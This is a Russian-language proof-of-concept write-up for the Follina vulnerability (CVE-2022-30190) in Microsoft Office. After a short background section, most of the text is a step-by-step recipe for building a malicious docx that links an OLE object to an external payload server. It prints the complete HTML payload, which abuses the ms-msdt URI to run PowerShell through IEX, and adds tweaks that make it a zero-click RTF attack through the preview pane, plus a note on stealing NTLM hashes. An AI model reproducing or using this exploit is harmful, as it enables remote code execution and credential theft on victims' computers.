
Эксплойт, подтверждающий концепцию, для CVE-2022-30190 (Follina), демонстрирующий удалённое выполнение кода через специально созданные документы Microsoft Office с использованием обработчика URI ms-msdt.
Информация : Новая 0-day уязвимость Microsoft Office используется в атаках для выполнения PowerShell
29 мая 2022 года команда Nao_Sec, независимая группа исследователей кибербезопасности, обнаружила вредоносный документ Office, размещённый на Virustotal. Этот документ использует необычную, но известную схему для заражения своих жертв. Схема не была обнаружена как вредоносная некоторыми EDR, такими как Microsoft Defender for Endpoint. Эта уязвимость может привести к выполнению кода без необходимости взаимодействия с пользователем, поскольку она не задействует макросы, за исключением случая, когда включён режим защищённого просмотра. На данный момент номер CVE не присвоен.
Уязвимость эксплуатируется с использованием схемы URI MSProtocol для загрузки некоторого кода. Злоумышленники могут встраивать вредоносные ссылки в документы Microsoft Office, шаблоны или электронные письма, начинающиеся с ms-msdt:, которые будут загружены и выполнены впоследствии без взаимодействия с пользователем — за исключением случая, когда включён режим защищённого просмотра. Тем не менее, преобразование документа в формат RTF также может обойти функцию защищённого просмотра.
Файлы MS Office docx могут содержать внешние ссылки на OLE-объекты в виде HTML-файлов. Существует HTML-схема "ms-msdt:", которая вызывает диагностический инструмент msdt, способный выполнять произвольный код (заданный в параметрах).
В результате получается устрашающий вектор атаки для получения RCE при открытии вредоносных файлов docx (без использования макросов).
Вот шаги для создания Proof-of-Concept docx:
Откройте Word (использовалась актуальная версия 2019 Pro, 16.0.10386.20017), создайте фиктивный документ, вставьте (OLE) объект (как растровое изображение), сохраните его в формате docx.
Отредактируйте word/_rels/document.xml.rels в структуре docx (это обычный zip). Измените XML-тег <Relationship> с атрибутом
Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject"
и Target="embeddings/oleObject1.bin", изменив значение Target и добавив атрибут TargetMode:
Target = "http://<payload_server>/payload.html!"
TargetMode = "External"
Обратите внимание на значение Id (вероятно, это "rId5").
word/document.xml. Найдите тег <o:OLEObject ..> (с r:id="rId5") и измените атрибут с Type="Embed" на Type="Link", а также добавьте атрибут UpdateMode="OnCall".ПРИМЕЧАНИЕ. Созданный вредоносный docx почти такой же, как для CVE-2021-44444.
http://<payload_server>/payload.html:<!doctype html>
<html lang="en">
<body>
<script>
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA should be repeated >60 times
window.location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=cal?c IT_SelectProgram=NotListed IT_BrowseForFile=h$(IEX('calc.exe'))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe \"";
</script>
</body>
</html>
Обратите внимание:
Кроме того, срабатывающий пейлоад может обращаться к удалённым ресурсам. Хотя это вряд ли приведёт к запуску недоверенного двоичного файла, соединение всё равно будет передавать NTLM-хэши (что означает, что злоумышленники теперь имеют хэш пароля Windows жертвы), которые могут быть использованы противником для дальнейшей постэксплуатации.
Если вы также добавите эти элементы внутри элемента <o:OLEObject> в word/document.xml на шаге 3:
<o:LinkType>EnhancedMetaFile</o:LinkType>
<o:LockedField>false</o:LockedField>
<o:FieldCodes>\f 0</o:FieldCodes>
то это будет работать также и как RTF (откройте полученный docx и сохраните его как RTF).
С RTF нет необходимости открывать файл в Word, достаточно перейти к файлу и просмотреть его в области предварительного просмотра. Область предварительного просмотра запускает внешний HTML-пейлоад, и RCE достигается без каких-либо кликов.